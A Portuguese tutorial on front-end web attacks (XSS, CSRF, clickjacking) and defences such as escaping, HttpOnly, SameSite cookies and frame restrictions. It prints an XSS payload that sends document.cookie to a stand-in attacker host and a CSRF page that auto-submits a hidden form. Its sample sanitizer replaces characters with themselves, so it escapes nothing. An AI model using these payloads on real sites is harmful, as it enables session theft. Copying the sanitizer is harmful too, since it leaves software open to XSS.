Visão geral de ameaças no front-end
Ataques web envolvem ações maliciosas que exploram vulnerabilidades em interfaces de usuário ou servidores, como injeção de código, roubo de dados ou alteração de permissões. Técnicas frequentes incluem Cross-Site Scripting (XSS), Cross-Site Request Forgery (CSRF) e clickjacking.
Cross-Site Scripting (XSS)
XSS ocorre quando um invasor insere scripts em páginas web que são executados por outros usuários, permitindo acesso a cookies ou informações confidenciais.
Fluxo típico de exploração:
- Publicar conteúdo com código malicioso, como em comentários ou campos de entrada.
- O script coleta dados do navegador, por exemplo cookies, e os transmite para um servidor externo.
- Usuários que visualizam a página são comprometidos sem perceber.
Exemplo de código malicioso:
<html>
<body>
<script>
var elemento = document.createElement('img');
elemento.src = 'http://servidor-atacante.com/registro?dado=' + encodeURIComponent(document.cookie);
document.body.appendChild(elemento);
</script>
</body>
</html>
Aqui, uma imagem é gerada para exfiltrar o cookie do usuário via URL.
Estratégias de mitigação:
- Escape de conteúdo: Substituir caracteres perigosos como < e > por equivalentes seguros. Em JavaScript:
function sanitizarHTML(input) {
return input.replace(/</g, '<').replace(/>/g, '>');
}
- Atributo HttpOnly em cookies: Configurar no servidor para bloquear acesso via JavaScript. Cabeçalho HTTP de exemplo:
Set-Cookie: identificador=valor123; HttpOnly; Path=/; Secure
- Frameworks como React ou Angular normalmente escapam saídas, mas métodos como
innerHTMLrequerem cautela. Cross-Site Request Forgery (CSRF)
CSRF induz usuários autenticados a executar ações não intencionais em sites onde estão logados, aproveitando o envio automático de cookeis.
Passos de um ataque CSRF:
- O usuário mantém sessão ativa em um site confiável, como
dominio-seguro.com. - O invasor redireciona para uma página maliciosa,
site-prejudicial.com. - Essa página contém mecanismos que disparam requisições ao site confiável, usando as credenciais do usuário.
Exemplo de código para CSRF:
<html>
<body>
<a href="http://dominio-seguro.com/excluir-dados">Promoção exclusiva</a>
<form id="form-ataque" action="http://dominio-seguro.com/alterar-config" method="POST">
<input type="hidden" name="opcao" value="maliciosa">
</form>
<script>
document.getElementById('form-ataque').submit();
</script>
</body>
</html>
A interação do usuário aciona a requisição ao domínio seguro, resultando em ações fraudulentas.
Métodos de proteção:
- Priorizar endpoints POST para operações sensíveis, combinado com tokens de verificação.
- Definir atributo SameSite em cookies:
- SameSite=Strict: Bloqueia envio em requisições cross-site.
- SameSite=Lax: Permite apenas em navegações GET diretas, como links.
Set-Cookie: sessao=chave; SameSite=Lax; Secure
Clickjacking
Clickjacking utiliza camadas sobrepostas e transparentes para manipular cliques do usuário, levando a interações com elementos ocultos de outros sites.
Procedimento comum:
- O atacante incorpora um iframe oculto com o site alvo em sua página.
- Ao interagir, o usuário inadvertidamente clica em componnetes do iframe, realizando ações no site de destino.
Técnicas de defesa:
- Adicionar o cabeçalho HTTP
X-Frame-Optionscom valorSAMEORIGINpara restringir incorporação. - Empregar Content Security Policy (CSP) com a diretiva
frame-ancestors.